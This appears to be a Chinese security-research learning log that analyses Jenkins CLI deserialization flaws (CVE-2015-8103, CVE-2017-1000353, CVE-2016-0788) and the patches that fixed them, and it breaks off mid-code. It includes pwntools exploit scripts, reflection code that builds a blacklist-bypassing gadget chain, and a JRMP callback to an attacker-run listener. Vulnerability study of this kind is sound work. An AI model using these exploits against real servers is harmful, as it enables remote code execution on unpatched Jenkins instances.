前言
Jenkins 历史漏洞学习记录。
CVE-2015-8103
用 docker 开个 Jenkins 环境:
docker pull jenkins:1.625.1
docker run -id --name jenkins -p 32770:8080 -p32771:50000 jenkins:1.625.1
然后从里面把 war 包拖出来解压打开。
漏洞分析
该漏洞发生在 Jenkins 的 cli 模块,访问可以在 HTTP Headers 中找到 cli 端口为 50000:
HTTP/1.1 200 OK
X-Content-Type-Options: nosniff
Content-Encoding: gzip
Expires: 0
Cache-Control: no-cache,no-store,must-revalidate
X-Hudson-Theme: default
Content-Type: text/html;charset=UTF-8
X-Hudson: 1.395
X-Jenkins: 1.625.1
X-Jenkins-Session: 326782aa
X-Hudson-CLI-Port: 50000
X-Jenkins-CLI-Port: 50000
X-Jenkins-CLI2-Port: 50000
X-Frame-Options: sameorigin
X-Instance-Identity: ...
X-SSH-Endpoint: ...
Content-Length: 3221
Server: Jetty(winstone-2.8)
这个端口是由 TcpSlaveAgentListener 对象监听的一个 TCP 端口:
public TcpSlaveAgentListener(int port) throws IOException {
super("TCP slave agent listener port=" + port);
try {
this.serverSocket = ServerSocketChannel.open();
this.serverSocket.socket().bind(new InetSocketAddress(port));
} catch (BindException var3) {
...
}
this.configuredPort = port;
LOGGER.log(Level.FINE, "JNLP slave agent listener started on TCP port {0}", this.getPort());
this.start();
}
其 run 函数如下:
public void run() {
try {
while(true) {
Socket s = this.serverSocket.accept().socket();
s.setKeepAlive(true);
s.setTcpNoDelay(true);
(new TcpSlaveAgentListener.ConnectionHandler(s)).start();
}
} catch (IOException var2) {
if (!this.shuttingDown) {
LOGGER.log(Level.SEVERE, "Failed to accept JNLP slave agent connections", var2);
}
}
}
接收到一个 TCP 连接后交给 ConnectionHandler 对象处理:
public ConnectionHandler(Socket s) {
this.s = s;
synchronized(this.getClass()) {
this.id = TcpSlaveAgentListener.iotaGen++;
}
this.setName("TCP slave agent connection handler #" + this.id + " with " + s.getRemoteSocketAddress());
}
public void run() {
try {
TcpSlaveAgentListener.LOGGER.info("Accepted connection #" + this.id + " from " + this.s.getRemoteSocketAddress());
DataInputStream in = new DataInputStream(this.s.getInputStream());
PrintWriter out = new PrintWriter(new BufferedWriter(new OutputStreamWriter(this.s.getOutputStream(), "UTF-8")), true);
String s = in.readUTF();
if (s.startsWith("Protocol:")) {
String protocol = s.substring(9);
AgentProtocol p = AgentProtocol.of(protocol);
if (p != null) {
p.handle(this.s);
} else {
this.error(out, "Unknown protocol:" + s);
}
} else {
this.error(out, "Unrecognized protocol: " + s);
}
} catch (InterruptedException var8) {
...
} catch (IOException var9) {
...
}
}
从传输数据中读取一个字符串 “Protocol:”,然后从其后面读取协议名并调用相应协议的 handler 函数,这里传入 “CLI-connect” 进入 CliProtocol 类:
public void handle(Socket socket) throws IOException, InterruptedException {
(new CliProtocol.Handler(this.nio.getHub(), socket)).run();
}
然后:
public Handler(NioChannelHub hub, Socket socket) {
this.hub = hub;
this.socket = socket;
}
public void run() throws IOException, InterruptedException {
PrintWriter out = new PrintWriter(new BufferedWriter(new OutputStreamWriter(this.socket.getOutputStream(), "UTF-8")), true);
out.println("Welcome");
this.runCli(new Connection(this.socket));
}
protected void runCli(Connection c) throws IOException, InterruptedException {
String name = "CLI channel from " + this.socket.getInetAddress();
ChannelBuilder cb = new ChannelBuilder(name, Computer.threadPoolForRemoting);
Channel channel = cb.withMode(Mode.BINARY).withRestricted(true).withBaseLoader(Jenkins.getInstance().pluginManager.uberClassLoader).build(new BufferedInputStream(c.in), new BufferedOutputStream(c.out));
channel.setProperty(CliEntryPoint.class.getName(), new CliManagerImpl(channel));
channel.join();
}
在 runCli 函数中会调用 ChannelBuilder 类的 build 函数:
for(int i = 0; i < preambles.length; ++i) {
byte[] preamble = preambles[i];
if (preamble[ptr[i]] == ch) {
if (++ptr[i] == preamble.length) {
switch(i) {
case 0:
case 1:
if (mode == Mode.NEGOTIATE) {
mode = modes[i];
os.write(mode.preamble);
os.flush();
} else if (modes[i] != mode) {
throw new IOException("Protocol negotiation failure");
}
return this.makeTransport(is, os, mode, cap);
case 2:
cap = Capability.read(is);
default:
ptr[i] = 0;
}
}
} else {
ptr[i] = 0;
}
}
会跟三个 preambles 进行比较,然后做相应的操作,可以看到当符合第三个 preamble 时,会调用 Capability.read,第三个 preamble 为:
PREAMBLE = "<===[JENKINS REMOTING CAPACITY]===>".getBytes("UTF-8");
而 Capability.read 函数如下:
public static Capability read(InputStream is) throws IOException {
try {
ObjectInputStream ois = new ObjectInputStream(Mode.TEXT.wrap(is));
return (Capability)ois.readObject();
} catch (ClassNotFoundException var2) {
throw (Error)(new NoClassDefFoundError(var2.getMessage())).initCause(var2);
}
}
会进行 Java 反序列化,而观察 Jenkins 项目中 lib 目录下的 jar,可以发现里面存在 commons-collections-3.2.1.jar,所以可以用 ysoserial 生成序列化攻击链。
漏洞利用
用 pwntools 写个简单的交互脚本:
from pwn import *
import base64
context.log_level = "debug"
target = remote("...", 50000)
protocol = "Protocol:CLI-connect"
target.send("\x00" + chr(len(protocol)) + protocol)
target.recv()
pause()
payload = "aced...787878".decode("hex")
payload = base64.b64encode(payload)
target.send("<===[JENKINS REMOTING CAPACITY]===>")
target.send(payload)
pause()
target.interactive()
target.close()
漏洞修复
在往后的版本(2.46.1)中流程发生了变化,不过逻辑变化不大,最后在 Capability.read 中:
public static Capability read(InputStream is) throws IOException {
try {
ObjectInputStream ois = new ObjectInputStream(Channel.Mode.TEXT.wrap(is)) {
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String n = desc.getName();
if (!n.equals("java.lang.String") && !n.equals("[Ljava.lang.String;") && !n.equals(Capability.class.getName())) {
throw new SecurityException("Rejected: " + n);
} else {
return super.resolveClass(desc);
}
}
};
return (Capability)ois.readObject();
} catch (ClassNotFoundException var2) {
throw (Error)(new NoClassDefFoundError(var2.getMessage())).initCause(var2);
}
}
对反序列化的类做了限制,只允许 String、String 数组 和 Capability。
除此之外,还将其他很多反序列化点的 ObjectInputStream 类修改为 ObjectInputStreamEx,其 resolveClass 函数如下:
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String name = desc.getName();
try {
return this.filter.check(Class.forName(this.filter.check(name), false, this.cl));
} catch (ClassNotFoundException var4) {
return super.resolveClass(desc);
}
}
简单来说就是一个正则一样的黑名单,其值如下:
private static final String[] DEFAULT_PATTERNS = new String[]{
"^bsh[.].*",
"^com[.]google[.]inject[.].*",
"^com[.]mchange[.]v2[.]c3p0[.].*",
"^com[.]sun[.]jndi[.].*",
"^com[.]sun[.]corba[.].*",
"^com[.]sun[.]javafx[.].*",
"^com[.]sun[.]org[.]apache[.]regex[.]internal[.].*",
"^java[.]awt[.].*",
"^java[.]rmi[.].*",
"^javax[.]management[.].*",
"^javax[.]naming[.].*",
"^javax[.]script[.].*",
"^javax[.]swing[.].*",
"^org[.]apache[.]commons[.]beanutils[.].*",
"^org[.]apache[.]commons[.]collections[.]functors[.].*",
"^org[.]apache[.]myfaces[.].*",
"^org[.]apache[.]wicket[.].*",
".*org[.]apache[.]xalan.*",
"^org[.]codehaus[.]groovy[.]runtime[.].*",
"^org[.]hibernate[.].*",
"^org[.]python[.].*",
"^org[.]springframework[.](?!(\\p{Alnum}+[.])*\\p{Alnum}*Exception$).*",
"^sun[.]rmi[.].*",
"^javax[.]imageio[.].*",
"^java[.]util[.]ServiceLoader$",
"^java[.]net[.]URLClassLoader$"
};
CVE-2017-1000353
docker pull jenkins:2.46.1
漏洞分析
参考文章中给出了 payload,该漏洞与 CVE-2015-8103 类似,这次是从 HTTP 访问 cli 触发的漏洞,处理代码在 CLIAction$CliEndpointResponse 类的 generateResponse 函数中:
public void generateResponse(StaplerRequest req, StaplerResponse rsp, Object node) throws IOException, ServletException {
try {
UUID uuid = UUID.fromString(req.getHeader("Session"));
rsp.setHeader("Hudson-Duplex", "");
if (req.getHeader("Side").equals("download")) {
FullDuplexHttpChannel server;
CLIAction.this.duplexChannels.put(uuid, server = new FullDuplexHttpChannel(uuid, !Jenkins.getActiveInstance().hasPermission(Jenkins.ADMINISTER)) {
protected void main(Channel channel) throws IOException, InterruptedException {
channel.setProperty(CLICommand.TRANSPORT_AUTHENTICATION, Jenkins.getAuthentication());
channel.setProperty(CliEntryPoint.class.getName(), new CliManagerImpl(channel));
}
});
try {
server.download(req, rsp);
} finally {
CLIAction.this.duplexChannels.remove(uuid);
}
} else {
((FullDuplexHttpChannel)CLIAction.this.duplexChannels.get(uuid)).upload(req, rsp);
}
} catch (InterruptedException var10) {
throw new IOException(var10);
}
}
可以看到,Jenkins 通过一个头 Session 决定一个通信频道,然后根据另一个头 Side 的不同,在同一个频道中会有 upload 和 download 两种处理方式,download 的处理会调用 download 函数,其中一部分代码如下:
while(this.upload == null && System.currentTimeMillis() < end) {
this.wait(1000L);
}
if (this.upload == null) {
throw new IOException("HTTP full-duplex channel timeout: " + this.uuid);
} else {
...
}
可以看到,download 会挂起等待一段时间,直到 upload 属性被赋值才会进行下一步操作。回去看看 upload 的处理:
public synchronized void upload(StaplerRequest req, StaplerResponse rsp) throws InterruptedException, IOException {
rsp.setStatus(200);
InputStream in = req.getInputStream();
if (DIY_CHUNKING) {
in = new ChunkedInputStream((InputStream)in);
}
this.upload = (InputStream)in;
this.notify();
while(!this.completed) {
this.wait();
}
}
从 upload 中读取输入流,然后放入 upload 属性中。upload 结束后再回到 download:
try {
this.channel = new Channel("HTTP full-duplex channel " + this.uuid, Computer.threadPoolForRemoting, Mode.BINARY, this.upload, (OutputStream)out, (OutputStream)null, this.restricted);
...
} finally {
this.completed = true;
this.notify();
}
实例化了一个 Channel 类,其构造函数是一个套娃过程,其中一步如下:
Channel(ChannelBuilder settings, InputStream is, OutputStream os) throws IOException {
this(settings, settings.negotiate(is, os));
}
negotiate 函数就是 CVE-2015-8103 的反序列化触发点,不过那个触发点已经被修复了,这次走的是另一条路,现版本的 switch 代码块如下:
switch(i) {
case 0:
case 1:
LOGGER.log(Level.FINER, "Received mode preamble: {0}", modes[i]);
if (mode == Mode.NEGOTIATE) {
mode = modes[i];
LOGGER.log(Level.FINER, "Sending agreed mode preamble: {0}", mode);
os.write(mode.preamble);
os.flush();
} else if (modes[i] != mode) {
throw new IOException("Protocol negotiation failure");
}
LOGGER.log(Level.FINE, "Channel name {0} negotiated mode {1} with capability {2}", new Object[]{this.name, mode, cap});
return this.makeTransport(is, os, mode, cap);
case 2:
cap = Capability.read(is);
LOGGER.log(Level.FINER, "Received capability preamble: {0}", cap);
ptr[i] = 0;
break;
default:
throw new IllegalStateException("Unexpected preamble byte #" + i + ". Only " + preambles.length + " bytes are supported");
}
可以看到,当 i 为 0、1 时,返回值来自 makeTransport 函数:
protected CommandTransport makeTransport(InputStream is, OutputStream os, Mode mode, Capability cap) throws IOException {
FlightRecorderInputStream fis = new FlightRecorderInputStream(is);
if (cap.supportsChunking()) {
return new ChunkedCommandTransport(cap, mode.wrap(fis), mode.wrap(os), os);
} else {
ObjectOutputStream oos = new ObjectOutputStream(mode.wrap(os));
oos.flush();
return new ClassicCommandTransport(new ObjectInputStreamEx(mode.wrap(fis), this.getBaseLoader(), this.getClassFilter()), oos, fis, os, cap);
}
}
因为此处的 cap 可以由 Capability.read 反序列化而成,所以这里简单来说就是一个 ClassicCommandTransport 对象,回到 Channel 的构造函数中,最后一步如下:
protected Channel(ChannelBuilder settings, CommandTransport transport) throws IOException {
...
if (this.internalExport(IChannel.class, this, false) != 1) {
throw new AssertionError();
} else {
...
transport.setup(this, new CommandReceiver() {
public void handle(Command cmd) {
Channel.this.commandsReceived++;
Channel.this.lastCommandReceivedAt = System.currentTimeMillis();
if (Channel.logger.isLoggable(Level.FINE)) {
Channel.logger.fine("Received " + cmd);
}
try {
cmd.execute(Channel.this);
} catch (Throwable var3) {
Channel.logger.log(Level.SEVERE, "Failed to execute command " + cmd + " (channel " + Channel.this.name + ")", var3);
Channel.logger.log(Level.SEVERE, "This command is created here", cmd.createdAt);
}
}
public void terminate(IOException e) {
Channel.this.terminate(e);
}
});
ACTIVE_CHANNELS.put(this, this.ref());
}
}
transport 即上面的 ClassicCommandTransport 对象,下一步调用其 setup 函数:
public void setup(Channel channel, CommandReceiver receiver) {
this.channel = channel;
(new SynchronousCommandTransport.ReaderThread(receiver)).start();
}
ReaderThread 类的 run 函数一部分如下:
cmd = SynchronousCommandTransport.this.read();
调用的 read 来自 ClassicCommandTransport 类:
public final Command read() throws IOException, ClassNotFoundException {
try {
Command cmd = Command.readFrom(this.channel, this.ois);
if (this.rawIn != null) {
this.rawIn.clear();
}
return cmd;
}
...
}
最后来到 Command.readFrom:
static Command readFrom(Channel channel, ObjectInputStream ois) throws IOException, ClassNotFoundException {
Channel old = Channel.setCurrent(channel);
Command var3;
try {
var3 = (Command)ois.readObject();
} finally {
Channel.setCurrent(old);
}
return var3;
}
可以看到另一个没有那么严格限制的反序列化点,不过这里的 ois 来自前面实例化 ClassicCommandTransport 对象时传入的 ObjectInputStreamEx 对象,也就是说这个反序列化点存在 CVE-2015-8103 的修复方式中提到的黑名单校验。所以要通过这个反序列化点进行反序列化攻击,还需要想点别的办法,比如某个可序列化类中会自己实例化一个 ObjectInputStream 然后输入一些可控字符 再 readObject 一下。
而 JDK 中正好有一个类 SignedObject,其 getObject 函数如下:
public Object getObject()
throws IOException, ClassNotFoundException
{
// creating a stream pipe-line, from b to a
ByteArrayInputStream b = new ByteArrayInputStream(this.content);
ObjectInput a = new ObjectInputStream(b);
Object obj = a.readObject();
b.close();
a.close();
return obj;
}
问题在于这个类没有继承什么接口,也没有调用其 getObject 函数的地方,所以要连接成反序列化链就需要找到一个反射操作的地方。
光 JDK 内部是没有这种类的,不过 Jenkins 内有个 JSONObject 类,其 defaultBeanProcessing 函数如下:
private static JSONObject defaultBeanProcessing(Object bean, JsonConfig jsonConfig) {
...
PropertyDescriptor[] pds = PropertyUtils.getPropertyDescriptors(bean);
PropertyFilter jsonPropertyFilter = jsonConfig.getJsonPropertyFilter();
String key;
for(int i = 0; i < pds.length; ++i) {
boolean bypass = false;
String key = pds[i].getName();
if (!exclusions.contains(key) && (!jsonConfig.isIgnoreTransientFields() || !isTransientField(key, beanClass, jsonConfig))) {
Class type = pds[i].getPropertyType();
try {
pds[i].getReadMethod();
} catch (Exception var17) {
...
}
if (pds[i].getReadMethod() != null) {
if (!isTransient(pds[i].getReadMethod(), jsonConfig)) {
Object value = PropertyUtils.getProperty(bean, key);
...
}
}
}
}
...
}
可以看到,这里会调用 getPropertyDescriptors 获取某个类中的属性描述符,经过测试可以发现,除了类中定义好的属性,getXXX 函数也会被 getPropertyDescriptors 函数认为是一个属性,所以可以通过 defaultBeanProcessing 函数调用 getObject。
继续往上,_fromBean:
private static JSONObject _fromBean(Object bean, JsonConfig jsonConfig) {
if (!addInstance(bean)) {
...
} else {
fireObjectStartEvent(jsonConfig);
JsonBeanProcessor processor = jsonConfig.findJsonBeanProcessor(bean.getClass());
JSONObject json;
if (processor != null) {
...
} else {
json = defaultBeanProcessing(bean, jsonConfig);
removeInstance(bean);
fireObjectEndEvent(jsonConfig);
return json;
}
}
}
继续:
public static JSONObject fromObject(Object object, JsonConfig jsonConfig) {
if (object != null && !JSONUtils.isNull(object)) {
if (object instanceof Enum) {
throw new JSONException("'object' is an Enum. Use JSONArray instead");
} else if (!(object instanceof Annotation) && !object.getClass().isAnnotation()) {
if (object instanceof JSONObject) {
return _fromJSONObject((JSONObject)object, jsonConfig);
} else if (object instanceof DynaBean) {
return _fromDynaBean((DynaBean)object, jsonConfig);
} else if (object instanceof JSONTokener) {
return _fromJSONTokener((JSONTokener)object, jsonConfig);
} else if (object instanceof JSONString) {
return _fromJSONString((JSONString)object, jsonConfig);
} else if (object instanceof Map) {
return _fromMap((Map)object, jsonConfig);
} else if (object instanceof String) {
return _fromString((String)object, jsonConfig);
} else if (!JSONUtils.isNumber(object) && !JSONUtils.isBoolean(object) && !JSONUtils.isString(object)) {
if (JSONUtils.isArray(object)) {
throw new JSONException("'object' is an array. Use JSONArray instead");
} else {
return _fromBean(object, jsonConfig);
}
} else {
return new JSONObject();
}
} else {
throw new JSONException("'object' is an Annotation.");
}
} else {
return new JSONObject(true);
}
}
fromObject 会判断 Object 的类型并做相应处理,SignedObject 类最后会进入 _fromBean 函数。继续往上:
protected Object _processValue(Object value, JsonConfig jsonConfig) {
if (JSONNull.getInstance().equals(value)) {
return JSONNull.getInstance();
} else if (!Class.class.isAssignableFrom(value.getClass()) && !(value instanceof Class)) {
if (value instanceof JSONFunction) {
return value;
} else if (value instanceof JSONString) {
return JSONSerializer.toJSON((JSONString)value, jsonConfig);
} else if (value instanceof JSON) {
return JSONSerializer.toJSON(value, jsonConfig);
} else if (JSONUtils.isArray(value)) {
return JSONArray.fromObject(value, jsonConfig);
} else if (JSONUtils.isString(value)) {
return value.toString();
} else if (JSONUtils.isNumber(value)) {
JSONUtils.testValidity(value);
return JSONUtils.transformNumber((Number)value);
} else if (JSONUtils.isBoolean(value)) {
return value;
} else {
JSONObject jsonObject = JSONObject.fromObject(value, jsonConfig);
return jsonObject.isNullObject() ? JSONNull.getInstance() : jsonObject;
}
} else {
return ((Class)value).getName();
}
}
AbstractJSON 类的 _processValue 函数,再往上:
private JSONArray addValue(Object value, JsonConfig jsonConfig) {
return this._addValue(this.processValue(value, jsonConfig), jsonConfig);
}
private Object processValue(Object value, JsonConfig jsonConfig) {
if (value != null) {
JsonValueProcessor jsonValueProcessor = jsonConfig.findJsonValueProcessor(value.getClass());
if (jsonValueProcessor != null) {
value = jsonValueProcessor.processArrayValue(value, jsonConfig);
if (!JsonVerifier.isValidJsonValue(value)) {
throw new JSONException("Value is not a valid JSON value. " + value);
}
}
}
return this._processValue(value, jsonConfig);
}
protected Object _processValue(Object value, JsonConfig jsonConfig) {
if (value instanceof JSONTokener) {
return _fromJSONTokener((JSONTokener)value, jsonConfig);
} else if (value != null && Enum.class.isAssignableFrom(value.getClass())) {
return ((Enum)value).name();
} else if (!(value instanceof Annotation) && (value == null || !value.getClass().isAnnotation())) {
return super._processValue(value, jsonConfig);
} else {
throw new JSONException("Unsupported type");
}
}
JSONArray 类,它继承了 AbstractJSON 类,其 addValue 函数最后会调用父类 AbstractJSON 的 _processValue 函数,继续往上,其 _fromCollection 函数中:
int i = 0;
Iterator elements = collection.iterator();
while(elements.hasNext()) {
Object element = elements.next();
jsonArray.addValue(element, jsonConfig);
fireElementAddedEvent(i, jsonArray.get(i++), jsonConfig);
}
遍历第一个参数 collection,然后调用 addValue。再往上,其 fromObject 函数中:
public static JSONArray fromObject(Object object, JsonConfig jsonConfig) {
if (object instanceof JSONString) {
return _fromJSONString((JSONString)object, jsonConfig);
} else if (object instanceof JSONArray) {
return _fromJSONArray((JSONArray)object, jsonConfig);
} else if (object instanceof Collection) {
return _fromCollection((Collection)object, jsonConfig);
}
...
}
如果参数 Object 为 Collection 类型,就会调用 _fromCollection。再往上:
public boolean containsAll(Collection collection) {
return this.containsAll(collection, new JsonConfig());
}
public boolean containsAll(Collection collection, JsonConfig jsonConfig) {
return this.elements.containsAll(fromObject(collection, jsonConfig));
}
containsAll 是 List/Collection 接口里面的函数,后面的链就好找多了。
ConcurrentSkipListSet 类的 equals 函数如下:
public boolean equals(Object o) {
// Override AbstractSet version to avoid calling size()
if (o == this)
return true;
if (!(o instanceof Set))
return false;
Collection<?> c = (Collection<?>) o;
try {
return containsAll(c) && c.containsAll(this);
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
}
这里调用了 c.containsAll,可以用来连接 containsAll,但是有个要求,c 必须是 Set 类型的对象,所以还需要找到一个 containsAll 函数返回值可控的 Set 类,这里找到 ListOrderedSet 类,其 containsAll 函数来自父类 AbstractCollectionDecorator:
public boolean containsAll(Collection coll) {
return this.collection.containsAll(coll);
}
至于怎么连接 equals,方法挺多的,最常见的办法就是利用 Map,不过一般情况下都需要一致的 hashCode 才能触发,而 ConcurrentSkipListSet 的 hashCode 计算起来比较复杂,所以再周转一下,找到 CopyOnWriteArraySet 类:
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Set))
return false;
Set<?> set = (Set<?>)(o);
Iterator<?> it = set.iterator();
// Uses O(n^2) algorithm that is only appropriate
// for small sets, which CopyOnWriteArraySets should be.
// Use a single snapshot of underlying array
Object[] elements = al.getArray();
int len = elements.length;
// Mark matched elements to avoid re-checking
boolean[] matched = new boolean[len];
int k = 0;
outer: while (it.hasNext()) {
if (++k > len)
return false;
Object x = it.next();
for (int i = 0; i < len; ++i) {
if (!matched[i] && eq(x, elements[i])) {
matched[i] = true;
continue outer;
}
}
return false;
}
return k == len;
}
private static boolean eq(Object o1, Object o2) {
return (o1 == null) ? o2 == null : o1.equals(o2);
}
遍历参数 o,然后依次跟自身属性 al 中的元素调用 eq 作比较。而其 hashCode 函数如下:
public int hashCode() {
int h = 0;
Iterator<E> i = iterator();
while (i.hasNext()) {
E obj = i.next();
if (obj != null)
h += obj.hashCode();
}
return h;
}
public Iterator<E> iterator() {
return al.iterator();
}
可以看到,其 hashCode 同样来自属性 al,所以我们可以使用两个元素相同顺序不同的 CopyOnWriteArraySet,里面存放 ConcurrentSkipListSet 和 ListOrderedSet 对象,这样就可以以 ListOrderedSet 为参数触发 ConcurrentSkipListSet 的 equals 函数了。
能触发 equals 的 map,payload 中采用的是 ReferenceMap,其 readObject 如下:
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
this.doReadObject(in);
}
doReadObject 来自父类 AbstractReferenceMap:
protected void doReadObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
this.keyType = in.readInt();
this.valueType = in.readInt();
this.purgeValues = in.readBoolean();
this.loadFactor = in.readFloat();
int capacity = in.readInt();
this.init();
this.data = new HashEntry[capacity];
while(true) {
Object key = in.readObject();
if (key == null) {
this.threshold = this.calculateThreshold(this.data.length, this.loadFactor);
return;
}
Object value = in.readObject();
this.put(key, value);
}
}
然后是 put:
public Object put(Object key, Object value) {
if (key == null) {
throw new NullPointerException("null keys not allowed");
} else if (value == null) {
throw new NullPointerException("null values not allowed");
} else {
this.purgeBeforeWrite();
return super.put(key, value);
}
}
public Object put(Object key, Object value) {
key = this.convertKey(key);
int hashCode = this.hash(key);
int index = this.hashIndex(hashCode, this.data.length);
for(AbstractHashedMap.HashEntry entry = this.data[index]; entry != null; entry = entry.next) {
if (entry.hashCode == hashCode && this.isEqualKey(key, entry.key)) {
Object oldValue = entry.getValue();
this.updateEntry(entry, value);
return oldValue;
}
}
this.addMapping(index, hashCode, key, value);
return null;
}
protected boolean isEqualKey(Object key1, Object key2) {
key2 = this.keyType > 0 ? ((Reference)key2).get() : key2;
return key1 == key2 || key1.equals(key2);
}
漏洞利用
观察参考文章的 payload,可以发现其是通过 HTTP 方式触发的,还用到了两个奇怪的类,通过 writeReplace 进行序列化,可能是为了避免生成对象的过程中触发某些奇特操作,还是用反射的方式写吧。
首先生成序列化数据测试一下先:
SignedObject signedObject = (SignedObject)createWithoutConstructor("java.security.SignedObject");
setField(signedObject, "content", getPOC());
setField(signedObject, "signature", "Twings".getBytes());
setField(signedObject, "thealgorithm", null);
JSONArray jsonArray = new JSONArray();
ListOrderedSet listOrderedSet = new ListOrderedSet();
setField(listOrderedSet, "collection", jsonArray);
ConcurrentSkipListSet concurrentSkipListSet = new ConcurrentSkipListSet();
concurrentSkipListSet.add("1");
Object m = getFieldValue(concurrentSkipListSet, "m");
Object head = getFieldValue(m, "head");
Object node = getFieldValue(head, "node");
Object next = getFieldValue(node, "next");
setField(next, "key", signedObject);
CopyOnWriteArrayList copyOnWriteArrayList1 = new CopyOnWriteArrayList();
copyOnWriteArrayList1.add("1");
copyOnWriteArrayList1.add("2");
Object[] array1 = (Object[])getFieldValue(copyOnWriteArrayList1, "array");
array1[0] = listOrderedSet;
array1[1] = concurrentSkipListSet;
CopyOnWriteArrayList copyOnWriteArrayList2 = new CopyOnWriteArrayList();
copyOnWriteArrayList2.add("1");
copyOnWriteArrayList2.add("2");
Object[] array2 = (Object[])getFieldValue(copyOnWriteArrayList2, "array");
array2[0] = concurrentSkipListSet;
array2[1] = listOrderedSet;
CopyOnWriteArraySet copyOnWriteArraySet1 = new CopyOnWriteArraySet();
setField(copyOnWriteArraySet1, "al", copyOnWriteArrayList1);
CopyOnWriteArraySet copyOnWriteArraySet2 = new CopyOnWriteArraySet();
setField(copyOnWriteArraySet2, "al", copyOnWriteArrayList2);
ReferenceMap referenceMap = new ReferenceMap();
referenceMap.put("1", "Twings");
referenceMap.put("2", "Aluvion");
Object[] data = (Object[])getFieldValue(referenceMap, "data");
setField(data[1], "key", copyOnWriteArraySet1);
setField(data[7], "key", copyOnWriteArraySet2);
byte[] poc = serialize(referenceMap);
System.out.println(new String(Base64.getEncoder().encode(poc)));
unserialize(poc);
使用反射还是要麻烦一些的,不过也容易理解一些,然后再仿照 payload 整个 python 脚本就行了。顺带一提,给出的 payload 里面的序列化 Capability 对象好像有点问题,可以自己改一下它的 mask 属性,修改后的 Capability 对象如下:
preamble = "<===[JENKINS REMOTING CAPACITY]===>" \
"rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4="
漏洞修复
将 SignedObject 加入黑名单。
CVE-2016-0788
docker pull jenkins:1.642.1
漏洞分析
跟 CVE-2017-1000353 一样都是 CVE-2015-8103 的绕过,触发点也相同,不过这里走的不是 HTTP 途径,而且用的是 JRMP 方式,1.642.1 版本下的黑名单如下:
return new ClassFilter.RegExpClassFilter(Arrays.asList(Pattern.compile("^org\\.codehaus\\.groovy\\.runtime\\..*"), Pattern.compile("^org\\.apache\\.commons\\.collections\\.functors\\..*"), Pattern.compile(".*org\\.apache\\.xalan.*")));
没有禁止 JRMP,所以可以通过反序列化创建一个 JRMP Client 连接我们的 Sever,返回 commons-collections 的序列化攻击链实现攻击。(当然反过来用 JRMP Listener 也是可以的)
漏洞利用
ysoerial 中就有这个漏洞的利用代码,可以读一下。
JenkinsReverse
from pwn import *
import base64
context.log_level = "debug"
target = remote("172.17.0.2", 50000)
protocol = "Protocol:CLI-connect"
target.send("\x00" + chr(len(protocol)) + protocol)
target.recv()
pause()
capability = "rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4="
target.send("<===[JENKINS REMOTING CAPACITY]===>")
target.send(capability)
pause()
target.send("\x00\x00\x00\x00")
JRMPClient = base64.b64decode("JRMPClient payload from ysoserial")
target.send(JRMPClient)
target.interactive()
target.close()
然后在云主机之类的地方用 ysoserial 开个 JRMPListener 即可。
JenkinsListener
这种方式就比较复杂了,主要分为三步,每次传输的都是一段序列化数据,然后触发服务端相应的处理,第一步的代码如下:
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
c = JenkinsCLI.openChannel(isa);
Object call = c.call( JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours"));
getPropertyCallable 函数如下:
public static Callable<?, ?> getPropertyCallable ( final Object prop )
throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
Reflections.setAccessible(reqCons);
Object getJarLoader = reqCons
.newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[] {
prop
});
return (Callable<?, ?>) getJarLoader;
}
简单来说就是一个 RPCRequest 类,它是 Command 类的子类,其构造函数如下:
public RPCRequest(int oid, Method m, Object[] arguments, ClassLoader cl) {
this.oid = oid;
this.arguments = arguments;
this.methodName = m.getName();
this.classLoader = cl;
this.types = new String[arguments.length];
Class<?>[] params = m.getParameterTypes();
for(int i = 0; i < arguments.length; ++i) {
this.types[i] = params[i].getName();
}
assert this.types.length == arguments.length;
}
所以该对象中的 oid 属性为 1,methodName 属性为 getProperty,arguments 属性为 JarLoader.ours。然后到了服务端那边:
try {
cmd = SynchronousCommandTransport.this.read();
} catch (EOFException var23) {
IOException ioe = new IOException("Unexpected termination of the channel");
ioe.initCause(var23);
throw ioe;
} catch (ClassNotFoundException var24) {
SynchronousCommandTransport.LOGGER.log(Level.SEVERE, "Unable to read a command (channel " + name + ")", var24);
continue;
} finally {
++this.commandsReceived;
}
this.receiver.handle(cmd);
反序列化出 RPCRequest 对象后,会调用 handler:
public void handle(Command cmd) {
Channel.this.updateLastHeard();
if (Channel.logger.isLoggable(Level.FINE)) {
Channel.logger.fine("Received " + cmd);
}
try {
cmd.execute(Channel.this);
}
...
}
然后调用 RPCRequest 的 execute,关键的三行代码如下:
channel.pipeWriter.get(Request.this.lastIoId).get();
RSP r = Request.this.perform(channel);
rsp = new Response(Request.this.id, this.calcLastIoId(), r);
通过 perform 进行处理,然后将 Response 写入相应,perform 函数如下:
protected Serializable perform(Channel channel) throws Throwable {
Object o = channel.getExportedObject(this.oid);
Class[] clazz = channel.getExportedTypes(this.oid);
try {
Method m = this.choose(clazz);
if (m == null) {
throw new IllegalStateException("Unable to call " + this.methodName + ". No matching method found in " + Arrays.toString(clazz) + " for " + o);
} else {
m.setAccessible(true);
Object r;
try {
r = m.invoke(o, this.arguments);
} catch (IllegalArgumentException var7) {
throw new RemotingSystemException("failed to invoke " + m + " on " + o + Arrays.toString(this.arguments), var7);
}
if (r != null && !(r instanceof Serializable)) {
throw new RemotingSystemException(new ClassCastException(r.getClass() + " is returned from " + m + " on " + o.getClass() + " but it's not serializable"));
} else {
return (Serializable)r;
}
